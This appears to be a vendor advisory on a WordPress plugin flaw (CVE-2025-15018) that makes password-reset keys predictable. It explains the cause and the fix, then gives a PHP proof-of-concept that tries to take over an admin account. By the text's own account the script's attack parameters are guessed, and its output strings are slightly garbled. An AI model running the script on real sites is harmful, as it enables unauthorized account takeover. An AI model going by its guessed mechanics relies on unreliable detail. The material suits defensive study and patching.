Atomic Edge analysis of CVE-2025-15018 (metadata-based):
The Optional Email WordPress plugin, versions up to and including 1.3.11, contains an unauthenticated privilege escalation vulnerability that leads to a complete account takeover. The vulnerability stems from a misapplied WordPress filter hook that affects the password reset mechanism, allowing attackers to compromise any user account, including administrators.
Atomic Edge research identifies the root cause as an authorization bypass through a user-controlled key (CWE-639). The plugin’s ‘random_password’ filter, intended for use during user registration, was incorrectly left active during the password reset key generation process. This allowed external input to influence the generation of the secret key used to authorize a password reset. The vulnerability description confirms this filter misapplication, but the exact code location and hook registration are inferred from the CWE classification and typical WordPress password reset patterns.
Exploitation requires an attacker to initiate a standard WordPress password reset for a target user. During this request, the attacker injects a known value via the ‘random_password’ filter to force the generation of a predictable password reset key. The attacker then uses this known key with the standard WordPress password reset confirmation endpoint (`wp-login.php?action=rp`) to set a new password for the victim account. The attack is fully unauthenticated and network-based.
Effective remediation requires the plugin to restrict the ‘random_password’ filter callback to only execute within the intended user registration context. The fix should involve adding a conditional check within the filter function to verify the current WordPress action or hook priority before allowing the filter to modify the generated string. Alternatively, the plugin could unhook its filter from the ‘random_password’ hook during all non-registration operations.
Successful exploitation grants an attacker full control over any WordPress user account. Attackers can compromise administrative accounts to install backdoors, modify site content, deface the website, exfiltrate sensitive data, or leverage the site for further attacks. The CVSS 9.8 score reflects the attack’s network-based nature, low complexity, and complete compromise of confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15018 - Optional Email <= 1.3.11 - Unauthenticated Privilege Escalation to Account Takeover
<?php
/**
* Proof of Concept for CVE-2025-15018.
* This script demonstrates unauthenticated account takeover via predictable password reset key.
* ASSUMPTIONS: The 'random_password' filter is accessible and modifies the reset key.
* The exact parameter name to trigger the filter is inferred; real exploitation may require adjusting the request structure.
*/
$target_url = 'http://target.site'; // CHANGE THIS
$target_user_login = 'admin'; // CHANGE THIS - username or email of victim
// Step 1: Initiate password reset while injecting a known 'random_password' value.
// We assume the filter can be triggered via a POST parameter, perhaps 'random_password' itself.
$reset_init_url = $target_url . '/wp-login.php?action=lostpassword';
$post_fields = [
'user_login' => $target_user_login,
// Attempt to influence the reset key generation. The exact parameter is inferred.
'random_password' => 'HACKED123' // Known value we will try to force as the reset key.
];
$ch = curl_init($reset_init_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response_init = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 200) {
echo "[!] Initial reset request failed with HTTP code: $http_coden";
exit;
}
echo "[*] Password reset initiated for user: $target_user_loginn";
// Step 2: Construct the password reset confirmation link using the known key.
// WordPress reset links format: /wp-login.php?action=rp&key={key}&login={login}
$known_key = 'HACKED123'; // The value we attempted to inject.
$encoded_login = rawurlencode($target_user_login);
$reset_confirm_url = $target_url . "/wp-login.php?action=rp&key=$known_key&login=$encoded_login";
// Step 3: Access the reset confirmation page to set a new password.
// This step assumes the injected key was accepted. A real exploit would need to parse the actual reset key from an email or deduce it.
echo "[*] Attempting to confirm reset with key: $known_keyn";
echo "[*] Reset URL: $reset_confirm_urln";
// The PoC stops here as the next step requires automated form submission, which is site-dependent.
echo "[+] If the key is valid, visit the URL above to set a new password and complete the takeover.n";
?>
